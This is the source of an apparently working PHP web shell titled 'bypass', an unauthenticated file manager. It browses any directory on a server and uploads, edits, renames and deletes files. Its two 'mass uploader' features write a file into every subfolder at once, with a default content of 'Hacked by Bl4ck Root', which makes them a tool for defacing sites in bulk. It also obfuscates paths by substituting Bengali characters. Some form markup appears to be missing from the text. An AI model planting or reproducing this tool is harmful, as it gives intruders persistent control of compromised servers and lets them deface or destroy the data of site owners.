<!DOCTYPE html><html lang="en"><meta charset="UTF-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>bypass</title><link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0-alpha1/dist/css/bootstrap.min.css" rel="stylesheet" crossorigin="anonymous"><link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.3.0/css/all.min.css" crossorigin="anonymous" referrerpolicy="no-referrer"/><style>body{background:#000;color:#0f0;}table{background:#111;}table th,table td{color:#0f0;}table thead{background:#300;}table tr:nth-child(even){background:#303;}a,a:hover{color:#f00;text-decoration:none;}.btn-dark{background:#030;border-color:#030;color:#0f0;}.btn-dark:hover{background:#060;border-color:#060;color:#fff;}i{color:#f00;}</style> function formatSizeUnits($b){if($b>=1073741824)$b=number_format($b/1073741824,2).' GB';elseif($b>=1048576)$b=number_format($b/1048576,2).' MB';elseif($b>=1024)$b=number_format($b/1024,2).' KB';elseif($b>1)$b=$b.' bytes';elseif($b==1)$b='1 byte';else$b='0 bytes';return$b;}function fileExtension($f){return substr(strrchr($f,'.'),1);}function fileIcon($f){$imgs=["apng","avif","gif","jpg","jpeg","jfif","pjpeg","pjp","png","svg","webp"];$aud=["wav","m4a","m4b","mp3","ogg","webm","mpc"];$ext=strtolower(fileExtension($f));if($f=="error_log")return'<i class="fa-sharp fa-solid fa-bug"></i> ';if($f==".htaccess")return'<i class="fa-solid fa-hammer"></i> ';if($ext=="html"||$ext=="htm")return'<i class="fa-brands fa-html5"></i> ';elseif($ext=="php"||$ext=="phtml")return'<i class="fa-brands fa-php"></i> ';elseif(in_array($ext,$imgs))return'<i class="fa-regular fa-images"></i> ';elseif($ext=="css")return'<i class="fa-brands fa-css3"></i> ';elseif($ext=="txt")return'<i class="fa-regular fa-file-lines"></i> ';elseif(in_array($ext,$aud))return'<i class="fa-duotone fa-file-music"></i> ';elseif($ext=="py")return'<i class="fa-brands fa-python"></i> ';elseif($ext=="js")return'<i class="fa-brands fa-js"></i> ';else return'<i class="fa-solid fa-file"></i> ';}function encodePath($p){return str_replace(["/","\\",".",":"],["ক","খ","গ","ঘ"],$p);}function decodePath($p){return str_replace(["ক","খ","গ","ঘ"],["/","\\",".",":"],$p);} $root=__DIR__;$p=$root;if(isset($_GET['p'])&&$_GET['p']!==''){if(is_dir(decodePath($_GET['p'])))$p=decodePath($_GET['p']);}elseif(isset($_GET['q'])&&$_GET['q']!==''){if(is_dir(decodePath($_GET['q'])))$p=decodePath($_GET['q']);}define("PATH",$p);echo'<nav class="navbar navbar-dark" style="background:#300;"><div class="navbar-brand"><a href="?"><img src="https://raw.githubusercontent.com/hurairathexper/elepfilemanager/main/img/icon.png" width="30" height="30"></a>'; $pa=str_replace('\\','/',PATH);$ps=explode('/',$pa);foreach($ps as $id=>$d){if($d==''&&$id==0){echo"<a href='?p=/'>/</a>";continue;}if($d=='')continue;echo"<a href='?p=";for($i=0;$i<=$id;$i++){echo str_replace(":","ঘ",$ps[$i]);if($i!=$id)echo "ক";}echo"'>".$d."</a>/";} echo'</div><div class="form-inline"><a href="?upload&q='.urlencode(encodePath(PATH)).'"><button class="btn btn-dark" type="button">Upload File</button></a><a href="#" onclick="document.getElementById(\'massUploadDiv1\').style.display=\'block\';"><button class="btn btn-dark" type="button">Mass Uploader 1</button></a><a href="#" onclick="document.getElementById(\'massUploadDiv2\').style.display=\'block\';"><button class="btn btn-dark" type="button">Mass Uploader 2</button></a><a href="?"><button class="btn btn-dark">HOME</button></a></div></nav>'; echo'<div id="massUploadDiv1" style="display:none;margin:10px;">
Target Folder:


File Name:


File Content:
<textarea name="mass_file_content" rows="6" style="width:300px;color:lime;background:#000;">Hacked by Bl4ck Root</textarea>

</div>'; echo'<div id="massUploadDiv2" style="display:none;margin:10px;">
Base Folder:


Target Subfolder Name:


File Name:


File Content:
<textarea name="mass2_file_content" rows="6" style="width:300px;color:#0f0;background:#000;">Hacked by Bl4ck Root</textarea>

</div>'; if(isset($_POST['mass_upload'])){$b=rtrim($_POST['mass_base_dir'],'/');$f=$_POST['mass_file_name'];$c=$_POST['mass_file_content'];if(is_dir($b)){$fs=scandir($b);foreach($fs as $d){if($d=='.'||$d=='..')continue;$fp=$b.'/'.$d;if(is_dir($fp))file_put_contents($fp.'/'.$f,$c);}}echo "<script>alert('Mass Upload 1 Completed!');window.location.replace('?p=".encodePath(PATH)."');</script>";} if(isset($_POST['mass2_upload'])){$b=rtrim($_POST['mass2_base_dir'],'/');$sf=$_POST['mass2_subfolder'];$f=$_POST['mass2_file_name'];$c=$_POST['mass2_file_content'];if(is_dir($b)){$fs=scandir($b);foreach($fs as $d){if($d=='.'||$d=='..')continue;$t=$b.'/'.$d.'/'.$sf;if(is_dir($t))file_put_contents($t.'/'.$f,$c);}}echo "<script>alert('Mass Upload 2 Completed!');window.location.replace('?p=".encodePath(PATH)."');</script>";} if(is_readable(PATH)){$objs=scandir(PATH);$folders=[];$files=[];foreach($objs as $o){if($o=='.'||$o=='..')continue;$n=PATH.'/'.$o;if(is_dir($n))$folders[]=$o;elseif(is_file($n))$files[]=$o;}echo'<table class="table table-hover"><thead><th>Name</th><th>Size</th><th>Modified</th><th>Perms</th><th>Actions</th></thead><tbody>';foreach($folders as $d){echo"<i class='fa-solid fa-folder'></i> <a href='?p=".urlencode(encodePath(PATH.'/'.$d))."'>$d</a>---".date("F d Y H:i:s.",filemtime(PATH.'/'.$d))."0".substr(decoct(fileperms(PATH.'/'.$d)),-3)."<a title='Rename' href='?q=".urlencode(encodePath(PATH))."&r=$d'><i class='fa-sharp fa-regular fa-pen-to-square'></i></a> <a title='Delete' href='?q=".urlencode(encodePath(PATH))."&d=$d'><i class='fa fa-trash'></i></a>";}foreach($files as $f){echo"".fileIcon($f).$f."".formatSizeUnits(filesize(PATH.'/'.$f))."".date("F d Y H:i:s.",filemtime(PATH.'/'.$f))."0".substr(decoct(fileperms(PATH.'/'.$f)),-3)."<a title='Edit File' href='?q=".urlencode(encodePath(PATH))."&e=$f'><i class='fa-solid fa-file-pen'></i></a> <a title='Rename' href='?q=".urlencode(encodePath(PATH))."&r=$f'><i class='fa-sharp fa-regular fa-pen-to-square'></i></a> <a title='Delete' href='?q=".urlencode(encodePath(PATH))."&d=$f'><i class='fa fa-trash'></i></a>";}echo'</tbody>';}if(isset($_GET['upload'])){echo'
Select file:
';}if(isset($_POST['upload'])&&isset($_FILES["fileToUpload"])){ $t=PATH.'/'.basename($_FILES["fileToUpload"]["name"]); move_uploaded_file($_FILES["fileToUpload"]["tmp_name"],$t); echo "<p>".htmlspecialchars(basename($_FILES["fileToUpload"]["name"]))." uploaded.</p>";}if(isset($_GET['r'])&&isset($_GET['q'])&&!empty($_GET['r'])){echo'
Rename:
';if(isset($_POST['rename'])){$n=PATH.'/'.$_GET['r'];rename($n,PATH.'/'.$_POST['name']);echo"<script>window.location.replace('?p=".encodePath(PATH)."');</script>";}}if(isset($_GET['e'])&&isset($_GET['q'])&&!empty($_GET['e'])){echo'
<textarea style="height:500px;width:90%;" name="data">'.htmlspecialchars(file_get_contents(PATH.'/'.$_GET['e'])).'</textarea>
';if(isset($_POST['edit'])){$fn=PATH.'/'.$_GET['e'];$d=$_POST['data'];$o=fopen($fn,"w");fwrite($o,$d);fclose($o);echo"<script>window.location.replace('?p=".encodePath(PATH)."');</script>";}}if(isset($_GET['d'])&&isset($_GET['q'])){$n=PATH.'/'.$_GET['d'];if(is_file($n))unlink($n);elseif(is_dir($n))rmdir($n);echo"<script>window.location.replace('?p=".encodePath(PATH)."');</script>";}